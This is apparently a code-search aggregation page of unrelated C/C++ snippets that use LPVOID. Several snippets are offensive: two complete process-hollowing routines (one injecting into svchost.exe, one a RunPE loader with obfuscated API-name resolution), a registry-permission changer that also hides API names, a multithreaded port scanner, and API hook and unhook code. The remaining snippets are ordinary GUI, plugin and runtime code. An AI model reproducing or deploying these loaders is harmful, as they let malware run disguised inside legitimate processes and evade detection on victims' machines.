		} 
#endif

		hWndLast = hWnd;

		hWnd = ::GetWindow( hWnd, GW_HWNDNEXT );  
	
	} // while( hWnd != NULL )

	if(		hWndLast != NULL
		&&	arrGroupBoxes.GetSize() > 0
		)
	{
		// move all the group boxes to the back by changing the tab order at runtime
		HWND hWndPrev = hWndLast;
		while( arrGroupBoxes.GetSize() > 0 )
		{
			HWND hWnd = (HWND) arrGroupBoxes.GetAt( 0 );
			if(		hWnd != NULL 
				&&	::IsWindow( hWnd )
				)
			{
				::SetWindowPos(
					hWnd,
					hWndPrev,
					0,0,
					0,0,
					SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE
					);
				hWndPrev = hWnd;
			}
			arrGroupBoxes.RemoveAt( 0 );
		}
	}
}
コード例 #14
0
BOOL GetSetThreadContext_Injection()
{
#ifdef _WIN64
	return TRUE; //TODO implement this on x64
#else
	TCHAR lpApplicationName[] = _T("C:\\Windows\\System32\\svchost.exe");
	TCHAR lpApplicationName2[] = _T("C:\\masm32\\examples\\dialogs_later\\basic\\basicdlg.exe");
	BOOL bResult = FALSE;

	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInfo;

	PCONTEXT pContext = NULL;
	HANDLE hFile = INVALID_HANDLE_VALUE;

	SecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	SecureZeroMemory(&ProcessInfo, sizeof(PPROCESS_INFORMATION));

	do { /* not a loop */

		// Create the hollowed process in suspended mode
		if (!CreateProcess(lpApplicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)) {
			print_last_error(_T("CreateProcess"));
			break;
		}

		// Allocate space for context structure	
		LPVOID pTargetImageBase = NULL;

		pContext = PCONTEXT(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE));
		if (pContext == NULL) {
			print_last_error(_T("VirtualAlloc"));
			break;
		}

		// Get the thread context of target
		pContext->ContextFlags = CONTEXT_FULL;
		if (!GetThreadContext(ProcessInfo.hThread, pContext)) {
			print_last_error(_T("GetThreadContext"));	
			break;
		}

		// Read the image base address of target
		ReadProcessMemory(ProcessInfo.hProcess, LPCVOID(pContext->Ebx + 8), pTargetImageBase, 4, NULL);

		// Opening source image
		hFile = CreateFile(lpApplicationName2, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
		if (hFile == INVALID_HANDLE_VALUE)
		{
			print_last_error(_T("CreateFile"));
			break;
		}

		// Reading the file
		DWORD dwSize = GetFileSize(hFile, 0);
		DWORD dwBytesRead;
		PBYTE pBuffer = static_cast<PBYTE>(MALLOC(dwSize));

		if (pBuffer == NULL) {
			print_last_error(_T("HeapAlloc"));
			break;
		}
		else {

			SecureZeroMemory(pBuffer, dwSize);

			ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
			PIMAGE_SECTION_HEADER pImageSectionHeader;

			PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;
			if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
			{
				PIMAGE_NT_HEADERS32 pNTHeaders = PIMAGE_NT_HEADERS(DWORD(pBuffer) + pDosHeader->e_lfanew);
				if (pNTHeaders->Signature == IMAGE_NT_SIGNATURE)
				{

					if (DWORD(pTargetImageBase) == pNTHeaders->OptionalHeader.ImageBase)
					{
						pNtUnmapViewOfSection NtUnmapViewOfSection;
						NtUnmapViewOfSection = (pNtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
						NtUnmapViewOfSection(ProcessInfo.hProcess, pTargetImageBase);
					}

					LPVOID pImageBase;

					pImageBase = VirtualAllocEx(ProcessInfo.hProcess, LPVOID(pNTHeaders->OptionalHeader.ImageBase),
						pNTHeaders->OptionalHeader.SizeOfImage,
						MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

					if (pImageBase == NULL) {
						print_last_error(_T("VirtualAllocEx"));
						break;
					}
					else {

						WriteProcessMemory(ProcessInfo.hProcess, pImageBase, pBuffer, pNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
						for (int Count = 0; Count < pNTHeaders->FileHeader.NumberOfSections; Count++)
						{
							pImageSectionHeader = PIMAGE_SECTION_HEADER(DWORD(pBuffer) + pDosHeader->e_lfanew + 248 + (Count * 40));
							WriteProcessMemory(ProcessInfo.hProcess, LPVOID(DWORD(pImageBase) + pImageSectionHeader->VirtualAddress),
								LPVOID(DWORD(pBuffer) + pImageSectionHeader->PointerToRawData), pImageSectionHeader->SizeOfRawData, NULL);
						}
						WriteProcessMemory(ProcessInfo.hProcess, LPVOID(pContext->Ebx + 8), LPVOID(&pNTHeaders->OptionalHeader.ImageBase), 4, NULL);
						pContext->Eax = DWORD(pImageBase) + pNTHeaders->OptionalHeader.AddressOfEntryPoint;
						SetThreadContext(ProcessInfo.hThread, LPCONTEXT(pContext));

						LONG dwRet;

						dwRet = ResumeThread(ProcessInfo.hThread);
						bResult = (dwRet != -1);
					}
				}
			}

			FREE(pBuffer);
		}

	} while (FALSE); /* not a loop */

	/* Cleanup */
	if (ProcessInfo.hThread) CloseHandle(ProcessInfo.hThread);
	if (ProcessInfo.hProcess) CloseHandle(ProcessInfo.hProcess);
	if (pContext) VirtualFree(pContext, 0, MEM_RELEASE);
	if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);

	return bResult;
#endif
}
コード例 #15
0
ファイル: FFPlugin.cpp プロジェクト: victimofleisure/FFRend
int CFFPlugin::GetParamType(int ParamIdx) const
{
	return((int)m_pff(FF_GETPARAMETERTYPE, LPVOID(ParamIdx), 0));
}
コード例 #16
0
extern "C" __declspec (dllexport) void __cdecl RMST()
{
	DWORD OldProtect;
	if(VirtualProtect(LPVOID(0x401000), GSSIZE, PAGE_EXECUTE_READWRITE, &OldProtect))
	{	
		//Create Log folder in GameServer
		CreateDirectory(GreatDevelopConsoleLogs,NULL);	
		CreateDirectory(GreatDevelopLog,NULL);	
		//
		Sleep(500);
		Log.LoggerInit();
		Sleep(500);
		//
		MySQL.Load();
		Maps.MapInit();
		Config.LoadFixes();
		Fixes.ASMFixes();
		Config.LoadConfigsInGS();
		Config.LoadAll();
		IpBlock.LoadIpBlock();
		MoveReq.MoveReqLoad();
		
		#ifdef _GS
			if(Config.Duel.Enabled)
			{
				g_DuelSystem.DuelCreateThread();
				Utilits.HookThis((DWORD)&HookSetDuelOption,0x004037B5);
				Utilits.HookThis((DWORD)&HookIsDuelEnable,0x00404BCE);
				Utilits.HookThis((DWORD)&HookIsOnDuel,0x00404B56);
				Utilits.HookThis((DWORD)&HookDuelCheck1,0x00403017);
				Utilits.HookThis((DWORD)&HookDuelCheck2,0x004012DA);
				Utilits.HookThis((DWORD)&GSgObjUserDie,0x0040367A);
			}
			Utilits.HookThis((DWORD)&ProtocolCore, 0x004038BE); 
			Utilits.HookThis((DWORD)&gObjGameClose_Func, 0x004034B8);  
			Utilits.HookThis((DWORD)&ProtocolCoreSend,0x004055BF);  
			Utilits.HookThis((DWORD)&MyObjCalCharacter,0x004031A7);				 
			Utilits.HookThis((DWORD)&MonsterDie, 0x004184C4);
			Utilits.HookThis((DWORD)&GCEquipmentSendHook, 0x00407509);
			Utilits.HookThis((DWORD)&GCKillPlayerExpSendHook, 0x00406D11);	
			Utilits.HookThis((DWORD)&MygEventMonsterItemDrop, 0x00402AD1);
			Utilits.HookThis((DWORD)&GOBJGetIndex,0x00404D18);	
			Utilits.HookThis((DWORD)&gObjLevelUpPointAddEx,0x00406D7F);
		#endif

		#ifdef _GS_CS
			Utilits.HookThis((DWORD)&ProtocolCore, 0x00403A17); 
			Utilits.HookThis((DWORD)&ProtocolCore, 0x00403A17);
			Utilits.HookThis((DWORD)&ProtocolCoreSend,0x00405AE7); 	 
			Utilits.HookThis((DWORD)&MyObjCalCharacter,0x004031F7);		   
			Utilits.HookThis((DWORD)&MonsterDie, 0x0041A1AE);
			Utilits.HookThis((DWORD)&GCEquipmentSendHook, 0x00407E37);
			Utilits.HookThis((DWORD)&GCKillPlayerExpSendHook, 0x0040751D); 		
			Utilits.HookThis((DWORD)&MygEventMonsterItemDrop, 0x004029F0);
			Utilits.HookThis((DWORD)&GOBJGetIndex,0x00405114);	
			Utilits.HookThis((DWORD)&gObjLevelUpPointAddEx,0x004075B3);
			
		#endif

		DWORD ThreadID;
		HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainTick, NULL, 0, &ThreadID);

		if ( hThread == 0 )
		{
			Log.ConsoleOutPut(0, c_Red, t_NULL, "CreateThread() failed with error %d", GetLastError());
			return;
		}

		CloseHandle(hThread);
	}
}
コード例 #17
0
ファイル: LoadImage.cpp プロジェクト: brunobuzzi/Dolphin
void ObjectMemory::FixupObject(OTE* ote, MWORD* oldLocation, const ImageHeader* pHeader)
{
	// Convert the class now separately
	BehaviorOTE* classPointer = reinterpret_cast<BehaviorOTE*>(FixupPointer(reinterpret_cast<OTE*>(ote->m_oteClass), static_cast<OTE*>(pHeader->BasePointer)));
#ifdef _DEBUG
	{
		PointersOTE* oteObj = reinterpret_cast<PointersOTE*>(ote);
		if (ote->isPointers() && (oteObj->getSize() % 2 == 1 ||
			classPointer == _Pointers.ClassByteArray ||
			classPointer == _Pointers.ClassAnsiString ||
			classPointer == _Pointers.ClassUtf8String ||
			classPointer == _Pointers.ClassSymbol))
		{
			TRACESTREAM<< L"Bad OTE for byte array " << LPVOID(&ote)<< L" marked as pointer" << std::endl;
			ote->beBytes();
		}
	}
#endif

	ote->m_oteClass = classPointer;

	if (ote->isPointers())
	{
		PointersOTE* otePointers = reinterpret_cast<PointersOTE*>(ote);
		VariantObject* obj = otePointers->m_location;

		const SMALLUNSIGNED numFields = ote->pointersSize();
		ASSERT(SMALLINTEGER(numFields) >= 0);
		// Fixup all the Oops
		for (SMALLUNSIGNED i = 0; i < numFields; i++)
		{
			Oop instPointer = obj->m_fields[i];
			if (!isIntegerObject(instPointer))
				obj->m_fields[i] = Oop(FixupPointer(reinterpret_cast<OTE*>(instPointer), static_cast<OTE*>(pHeader->BasePointer)));
		}

		if (classPointer == _Pointers.ClassProcess)
		{
			Process* process = static_cast<Process*>(ote->m_location);
			// We use the callbackDepth slot to store the delta in location
			// which we later use to adjust all the stack references.
			// The previous value is lost, but this is not important
			// as it must be reestablished as zero anyway
			process->BasicSetCallbackDepth(Oop(process) - Oop(oldLocation) + 1);
		}
		// else
		// MethodContext objects contain a pointer to their frame in the
		// stack, but we must fix that up later when walking down the stack.
	}
	else
	{
		if (classPointer == _Pointers.ClassExternalHandle)
		{
			// In Dolphin 4.0, all ExternalHandles are automatically nulled
			// on image load.

			ExternalHandle* handle = static_cast<ExternalHandle*>(ote->m_location);
			handle->m_handle = NULL;
		}
		// Look for the special image stamp object
		else if (classPointer == _Pointers.ClassContext)
		{
			ASSERT(ote->heapSpace() == OTEFlags::PoolSpace || ote->heapSpace() == OTEFlags::NormalSpace);

			// Can't deallocate now - must leave for collection later - maybe could go in the Zct though.
			VERIFY(ote->decRefs());
			deallocate(reinterpret_cast<OTE*>(ote));
		}
	}
}
コード例 #18
0
ファイル: runpe.cpp プロジェクト: Roywaller/Chall_Tools
// ExecFile based on RUNPE work (c) Someone 2009
void ExecFile(LPSTR szFilePath, LPVOID pFile) {
	// On va creer un process suspendu, demapper le nouveau process, aligner la taille avce notre pe
	// recopier notre pe dans les sections, demarre et sauter dans le process

  PIMAGE_DOS_HEADER IDH;  // Structure http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html 
	PIMAGE_NT_HEADERS INH;  
	PIMAGE_SECTION_HEADER ISH;
	PROCESS_INFORMATION PI;
	STARTUPINFOA SI;
	PCONTEXT CTX;
	PDWORD dwImageBase;
	PNtUnmapViewOfSection xNtUnmapViewOfSection;
	PWriteProcessMemory xWriteProcessMemory ;
	PNtResumeThread xNtResumeThread;
	PGetThreadContext xGetThreadContext;
	PSetThreadContext xSetThreadContext;
	PGetProcAddress xGetProcAddress;
	PCreateProcessA xCreateProcessA;
	PReadProcessMemory xReadProcessMemory;
	PLoadLibrary xLoadLibrary;
	PVirtualAllocEx xVirtualAllocEx;

	LPVOID pImageBase;
	int Count;


int extern str_ntdll() asm ("str_ntdll"); 
int extern str_kernel32() asm ("str_kernel32"); 
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); 
int extern str_GetProcAddress() asm ("str_GetProcAddress"); 
int extern str_ReadProcAddress() asm ("str_ReadProcAddress"); 
int extern str_WriteProcessMemory() asm ("str_WriteProcessMemory"); 
int extern str_GetThreadContext() asm ("str_GetThreadContext"); 
int extern str_SetThreadContext() asm ("str_SetThreadContext");
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); 
int extern str_CreateProcessA() asm ("str_CreateProcessA"); 
int extern str_NtResumeThread() asm ("str_NtResumeThread");
int extern str_NtUnmapViewOfSection() asm ("str_NtUnmapViewOfSection"); 
int extern str_VirtualAllocEx() asm ("str_VirtualAllocEx"); 

	xLoadLibrary = (PLoadLibrary) getfunction (findkernel() ,ostring((unsigned char *) &str_LoadLibrary ));
	HINSTANCE Hkernel32  = xLoadLibrary((LPCTSTR) ostring((unsigned char *) &str_kernel32 ));
	HINSTANCE Hntdll = xLoadLibrary((LPCTSTR) ostring((unsigned char * ) &str_ntdll ));
	xGetProcAddress = (PGetProcAddress) getfunction(findkernel(),ostring((unsigned char *) &str_GetProcAddress));
	xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
  xNtResumeThread = (PNtResumeThread)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *) &str_NtResumeThread)));	

	IDH = PIMAGE_DOS_HEADER(pFile);
	if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { // TEST MZ
		INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
		if (INH->Signature == IMAGE_NT_SIGNATURE) {   // TESTPE
			RtlZeroMemory(&SI, sizeof(SI));
			RtlZeroMemory(&PI, sizeof(PI));

			// Cree un process etat suspendu
			xCreateProcessA = (PCreateProcessA) (xGetProcAddress(Hkernel32,(LPCSTR) ostring((unsigned char *) &str_CreateProcessA)));
			if (xCreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
				CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
				CTX->ContextFlags = CONTEXT_FULL;
				
				xGetThreadContext = ( PGetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_GetThreadContext));
				if (xGetThreadContext(PI.hThread, LPCONTEXT(CTX))){
					
  				xReadProcessMemory = (PReadProcessMemory) getfunction(findkernel(), ostring((unsigned char *)&str_ReadProcessMemory));
					xReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

				  // Mappe l'exe dans la thread
				  if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)	{
					vaauxfraises(DWORD(dwImageBase));
					
					xNtUnmapViewOfSection = (PNtUnmapViewOfSection)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *)&str_NtUnmapViewOfSection)));
					xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
				  }


				xVirtualAllocEx = ( PVirtualAllocEx) getfunction(findkernel(),ostring((unsigned char *)&str_VirtualAllocEx));
				pImageBase = xVirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
				if (pImageBase) {
			//	HMODULE aKERNEL32=LoadLibrary(vKERNEL32);

			xWriteProcessMemory = (PWriteProcessMemory)  getfunction(findkernel(),ostring((unsigned char *)&str_WriteProcessMemory));
				xWriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
					for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
						ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
	
					startrand();
					xWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
					}
					xWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
					CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
					// Et on demarre la thread
	
					xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
					xSetThreadContext(PI.hThread, LPCONTEXT(CTX));
					startrand();
			
					xNtResumeThread(PI.hThread);
				}
			}
		}
	}
	}
	GetLastError();
	VirtualFree(pFile, 0, MEM_RELEASE);
}
コード例 #19
0
ファイル: set_env.hpp プロジェクト: AALEKH/hpx
 void on_CreateProcess_setup(WindowsExecutor &e) const
 {
     e.env = LPVOID(env_.data());
     if (Unicode)
         e.creation_flags |= CREATE_UNICODE_ENVIRONMENT;
 }
コード例 #20
0
 winDisplayDeviceManager::winDisplayDeviceManager():msgWndw(0)
 {
   scanDisplays();
   loopThread = CreateThread(NULL, 0, Loop, LPVOID(this), 0, &dwThreadId);
 }
コード例 #21
0
ファイル: RegEditEx.cpp プロジェクト: b1ueb0y/LViewer
//设置注册表键读取的权限(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security) 
{
	   typedef __bcount(dwBytes) LPVOID (WINAPI *HeapAllocT)
		   (
		   __in HANDLE hHeap,
		   __in DWORD dwFlags,
		   __in SIZE_T dwBytes
		   );
	   HeapAllocT pHeapAlloc = (HeapAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"HeapAlloc");
	   
	   typedef LONG
		   (APIENTRY
		   *RegCloseKeyT)(
		   __in HKEY hKey
		   );
	   char YWsjU[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'};
	   char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
	   RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary(KIoFqQPSy),YWsjU);
	   
	   typedef LONG
		   (APIENTRY
		   *RegOpenKeyExAT)(
		   __in HKEY hKey,
		   __in_opt LPCSTR lpSubKey,
		   __reserved DWORD ulOptions,
		   __in REGSAM samDesired,
		   __out PHKEY phkResult
		   );
	   RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegOpenKeyExA");

   HKEY  hKey; 
   SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY; 
   PSID pSystemSid              = NULL; 
   PSID pUserSid                = NULL; 
   SECURITY_DESCRIPTOR sd; 
   PACL    pDacl                = NULL; 
   DWORD   dwAclSize; 
   int     iResult              = 0;

   __try
   {  	   
	   if(pRegOpenKeyExA(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS) 
		   __leave; 
       if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid )) 
           __leave;
       if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))  
           __leave; 
       dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ; 
       pDacl = (PACL)pHeapAlloc(GetProcessHeap(), 0, dwAclSize); 
       if(pDacl == NULL) 
		   __leave; 
       if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION)) 
           __leave; 
       if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid )) 
           __leave; 
       if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid )) 
           __leave; 
       if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) 
           __leave; 
       if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE)) 
           __leave; 
       if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
		   __leave;
	   iResult =1;
   }
   __finally
   {  
	   pRegCloseKey(MainKey); 
	   pRegCloseKey(hKey); 
	   
	   if(pDacl !=NULL)         
		   HeapFree(GetProcessHeap(), 0, pDacl);  
       if(pSystemSid !=NULL)
	       FreeSid(pSystemSid);
	   if(pUserSid !=NULL)
           FreeSid(pUserSid); 
   }

   return iResult;
}
コード例 #22
0
// 扫描开始主函数
void portscannow(int xp)
{
	int sport;
	char *timenow, timebuf[32];

	// 定义默认扫描的端口
	char *ports[32] = {
		"21",
		"22",
		"23",
		"25",
		"53",
		"79",
		"80",
		"110",
		"111",
		"113",
		"123",
		"135",
		"139",
		"143",
		"443",
		"512",
		"513",
		"514",
		"515",
		"540",
		"1080",
		"1433",
		"1521",
		"1524",
		"3306",
		"3389",
		"5631",
		"6000",
		"6112",
		"8000",
		"8080",
		"12345"   //这里你也可以自己定义要扫描的端口
	};

	// 显示扫描开始的时间
	timenow = _strtime(timebuf);
	printf("\r\nPortScan Start Time: %s\r\n\n", timenow);

	// 计数器初始化.
	maxth = 0;
	scanok = 0;
	scannum = 0;
	searched = 0;

	// 计算要扫描的端口数量
	searchnum = hoststop - hoststart + 1;
	if (xp == 3)
		searchnum = searchnum * 32;
	if (xp == 4)
		searchnum = searchnum * (endport - startport + 1);

	// 端口扫描开始
	for (portip = hoststart; portip <= hoststop; portip++, scannum++)
	{
		// *.*.*.0和*.*.*.255 地址处理
		if ((portip % 256) == 0 || (portip % 256) == 255)
		{
			if (xp == 3)
				searchnum = searchnum - 32;
			if (xp == 4)
				searchnum = searchnum - (endport - startport + 1);
			scannum--;
			playx();
			continue;
		}

		if (i > 11) i = 0;
		// 默认端口扫描
		// scan 192.168.0.1
		// scan 192.168.0.1-192.168.0.254
		if (xp == 3)
		{
			for (sport = 0; sport < 32; sport++, maxth++, searched++)
			{
				// 测试当前线程是否大于180
				TestThread(180);
				// 产生新的线程处理端口扫描
				CWinThread * pthread = AfxBeginThread(portscan, LPVOID(atoi((char*)ports[sport])));
				//延时
				Sleep(120);
			}
		}

		// 自定义端口扫描
		// scan -p 21 192.168.0.1
		// scan -p 21-80 192.168.0.1-192.168.0.254
		if (xp == 4)
		{ // 计算要扫描的端口
			sport = endport - startport;
			if (sport > 500)
			{
				// 扫描自定义的端口
				for (sport = startport; sport <= endport; sport++, maxth++, searched++)
				{
					TestThread(2000);
					// 产生新的线程处理端口扫描
					CWinThread * pthread = AfxBeginThread(portscan, LPVOID(sport));
					// 延时
					Sleep(10);
				}
			}
			else
			{
				// 扫描自定义的端口
				for (sport = startport; sport <= endport; sport++, maxth++, searched++)
				{
					// 测试当前线程是否大于250
					TestThread(250);
					// 产生新的线程处理端口扫描
					CWinThread * pthread = AfxBeginThread(portscan, LPVOID(sport));
					// 延时
					Sleep(100);
					playx();
				}
			}
		}
	}

	// 等待所有的线程结束
	WaitThreadEnd();

	// 显示端口扫描结束时间
	timenow = _strtime(timebuf);
	printf("\r\nPortScan End Time: %s", timenow);
	printf("\r\nScan %d Hosts completed. Open %d Ports!\r\n", scannum, scanok);
}
コード例 #23
0
bool recoverApiEntry(ApiHookData* aData)
{
    return TRUE == WriteProcessMemory(
        aData->m_hProc, LPVOID(aData->m_apiHookAddr), LPVOID(aData->m_aBackup), 
        sizeof(aData->m_aOpcode) / sizeof(aData->m_aOpcode[0]), NULL);
}